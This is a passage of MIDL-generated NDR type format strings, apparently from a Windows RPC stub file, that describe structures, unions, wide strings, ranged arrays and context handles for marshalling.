2604 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2606 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2608 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 2610 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (2554) */\n/* 2612 */\t\n\t\t\t0x11, 0x14,\t/* FC_RP [alloced_on_stack] [pointer_deref] */\n/* 2614 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2616) */\n/* 2616 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2618 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2620) */\n/* 2620 */\t\n\t\t\t0x15,\t\t/* FC_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2622 */\tNdrFcShort( 0x44 ),\t/* 68 */\n/* 2624 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2626 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2628 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2630 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2632 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2634 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2636 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2638 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2640 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2642 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 2644 */\tNdrFcShort( 0x18 ),\t/* Offset= 24 (2668) */\n/* 2646 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 2648 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2650 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 2652 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 2654 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 2656 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 2658 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2662 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2666 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2668 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2670 */\tNdrFcShort( 0x28 ),\t/* 40 */\n/* 2672 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2674 */\tNdrFcShort( 0xa ),\t/* Offset= 10 (2684) */\n/* 2676 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2678 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2680 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2682 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2684 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2686 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2688 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 2690 */\tNdrFcShort( 0xffd4 ),\t/* Offset= -44 (2646) */\n/* 2692 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2694 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2696 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 2698 */\tNdrFcShort( 0x1a0 ),\t/* Offset= 416 (3114) */\n/* 2700 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 2702 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 2704 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 2706 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 2708 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 2710 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2714 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2718 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2720) */\n/* 2720 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2722 */\tNdrFcShort( 0x3004 ),\t/* 12292 */\n/* 2724 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2728 */\tNdrFcShort( 0x16 ),\t/* Offset= 22 (2750) */\n/* 2730 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 2734 */\tNdrFcShort( 0x4e ),\t/* Offset= 78 (2812) */\n/* 2736 */\tNdrFcLong( 0x2 ),\t/* 2 */\n/* 2740 */\tNdrFcShort( 0xa8 ),\t/* Offset= 168 (2908) */\n/* 2742 */\tNdrFcLong( 0x3 ),\t/* 3 */\n/* 2746 */\tNdrFcShort( 0x104 ),\t/* Offset= 260 (3006) */\n/* 2748 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (2747) */\n/* 2750 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2752 */\tNdrFcShort( 0x2c ),\t/* Offset= 44 (2796) */\n/* 2754 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 2756 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2758 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 2760 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2762 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 2764 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 2766 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2770 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2774 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 2778 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 2780 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 2782 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2786 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2790 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 2792 */\tNdrFcShort( 0xff84 ),\t/* Offset= -124 (2668) */\n/* 2794 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2796 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2798 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 2800 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2802 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (2808) */\n/* 2804 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2806 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2808 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 2810 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (2754) */\n/* 2812 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2814 */\tNdrFcShort( 0x4e ),\t/* Offset= 78 (2892) */\n/* 2816 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2818 */\tNdrFcShort( 0x30 ),\t/* 48 */\n/* 2820 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2822 */\tNdrFcShort( 0xc ),\t/* Offset= 12 (2834) */\n/* 2824 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2826 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2828 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2830 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2832 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2834 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2836 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2838 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 2840 */\tNdrFcShort( 0xff3e ),\t/* Offset= -194 (2646) */\n/* 2842 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2844 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2846 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2848 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2850 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 2852 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2854 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 2856 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2858 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 2860 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 2862 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2866 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2870 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 2874 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 2876 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 2878 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2882 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2886 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 2888 */\tNdrFcShort( 0xffb8 ),\t/* Offset= -72 (2816) */\n/* 2890 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2892 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2894 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 2896 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2898 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (2904) */\n/* 2900 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2902 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2904 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 2906 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (2850) */\n/* 2908 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2910 */\tNdrFcShort( 0x50 ),\t/* Offset= 80 (2990) */\n/* 2912 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2914 */\tNdrFcShort( 0x38 ),\t/* 56 */\n/* 2916 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2918 */\tNdrFcShort( 0xe ),\t/* Offset= 14 (2932) */\n/* 2920 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2922 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2924 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2926 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2928 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2930 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2932 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2934 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2936 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 2938 */\tNdrFcShort( 0xfedc ),\t/* Offset= -292 (2646) */\n/* 2940 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2942 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2944 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2946 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2948 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 2950 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2952 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 2954 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2956 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 2958 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 2960 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2964 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2968 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 2972 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 2974 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 2976 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2980 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2984 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 2986 */\tNdrFcShort( 0xffb6 ),\t/* Offset= -74 (2912) */\n/* 2988 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2990 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2992 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 2994 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2996 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (3002) */\n/* 2998 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 3000 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3002 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 3004 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (2948) */\n/* 3006 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 3008 */\tNdrFcShort( 0x5a ),\t/* Offset= 90 (3098) */\n/* 3010 */\t\n\t\t\t0x1d,\t\t/* FC_SMFARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 3012 */\tNdrFcShort( 0x100 ),\t/* 256 */\n/* 3014 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3016 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 3018 */\tNdrFcShort( 0x138 ),\t/* 312 */\n/* 3020 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3022 */\tNdrFcShort( 0x12 ),\t/* Offset= 18 (3040) */\n/* 3024 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 3026 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 3028 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 3030 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 3032 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 3034 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 3036 */\tNdrFcShort( 0xffe6 ),\t/* Offset= -26 (3010) */\n/* 3038 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3040 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3042 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3044 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 3046 */\tNdrFcShort( 0xfe70 ),\t/* Offset= -400 (2646) */\n/* 3048 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3050 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3052 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3054 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3056 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 3058 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3060 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 3062 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3064 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 3066 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 3068 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3072 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3076 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 3080 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 3082 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 3084 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3088 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3092 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 3094 */\tNdrFcShort( 0xffb2 ),\t/* Offset= -78 (3016) */\n/* 3096 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3098 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 3100 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 3102 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3104 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (3110) */\n/* 3106 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 3108 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3110 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 3112 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (3056) */\n/* 3114 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 3116 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 3118 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3120 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (3120) */\n/* 3122 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 3124 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 3126 */\tNdrFcShort( 0xfe56 ),\t/* Offset= -426 (2700) */\n/* 3128 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3130 */\t\n\t\t\t0x11, 0x14,\t/* FC_RP [alloced_on_stack] [pointer_deref] */\n/* 3132 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3134) */\n/* 3134 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 3136 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3138) */\n/* 3138 */\t\n\t\t\t0x15,\t\t/* FC_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 3140 */\tNdrFcShort( 0x30 ),\t/* 48 */\n/* 3142 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 3144 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 3146 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 3148 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 3150 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 3152 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 3154 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3156 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 3158 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3160) */\n/* 3160 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 3162 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3164 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 3166 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 3168 */\tNdrFcShort( 0x10 ),\t/* Corr flags:  */\n/* 3170 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 3172 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3176 */\tNdrFcLong( 0xfa00 ),\t/* 64000 */\n/* 3180 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3182 */\t0xb7,\t\t/* FC_RANGE */\n\t\t\t0x8,\t\t/* 8 */\n/* 3184 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3188 */\tNdrFcLong( 0xfa00 ),\t/* 64000 */\n/* 3192 */\t\n\t\t\t0x11, 0x8,\t/* FC_RP [simple_pointer] */\n/* 3194 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3196 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 3198 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3200) */\n/* 3200 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x1,\t\t/* 1 */\n/* 3202 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 3204 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 3206 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 3208 */\tNdrFcShort( 0x10 ),\t/* Corr flags:  */\n/* 3210 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 3212 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3216 */\tNdrFcLong( 0xfa00 ),\t/* 64000 */\n/* 3220 */\t0x5,\t\t/* FC_WCHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3222 */\t0xb7,\t\t/* FC_RANGE */\n\t\t\t0x8,\t\t/* 8 */\n/* 3224 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3228 */\tNdrFcLong( 0xfa00 ),\t/* 64000 */\n/* 3232 */\t\n\t\t\t0x11, 0x4,\t/* FC_RP [alloced_on_stack] */\n/* 3234 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3236) */\n/* 3236 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0xa0,\t\t/* Ctxt flags:  via ptr, out, */\n/* 3238 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 3240 */\t\n\t\t\t0x11, 0x4,\t/* FC_RP [alloced_on_stack] */\n/* 3242 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3244) */\n/* 3244 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0xe1,\t\t/* Ctxt flags:  via ptr, in, out, can't be null */\n/* 3246 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 3248 */\t\n\t\t\t0x11, 0x14,\t/* FC_RP [alloced_on_stack] [pointer_deref] */\n/* 3250 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3252) */\n/* 3252 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 3254 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3256) */\n/* 3256 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 3258 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 3260 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3262 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (3268) */\n/* 3264 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 3266 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3268 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 3270 */\tNdrFcShort( 0xf7f8 ),\t/* Offset= -2056 (1214) */\n/* 3272 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 3274 */\tNdrFcShort( 0xffee ),\t/* Offset= -18 (3256) */\n/* 3276 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 3278 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3280) */\n/* 3280 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 3282 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 3284 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3286 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 3288 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 3290 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3294 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3298 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3300) */\n/* 3300 */\tNdrFcShort( 0x138 ),\t/* 312 */\n/* 3302 */\tNdrFcShort( 0x3004 ),\t/* 12292 */\n/* 3304 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3308 */\tNdrFcShort( 0xfd80 ),\t/* Offset= -640 (2668) */\n/* 3310 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 3314 */\tNdrFcShort( 0xfe0e ),\t/* Offset= -498 (2816) */\n/* 3316 */\tNdrFcLong( 0x2 ),\t/* 2 */\n/* 3320 */\tNdrFcShort( 0xfe68 ),\t/* Offset= -408 (2912) */\n/* 3322 */\tNdrFcLong( 0x3 ),\t/* 3 */\n/* 3326 */\tNdrFcShort( 0xfeca ),\t/* Offset= -310 (3016) */\n/* 3328 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (3327) */\n/* 3330 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 3332 */\tNdrFcShort( 0x8 ),\t/* Offset= 8 (3340) */\n/* 3334 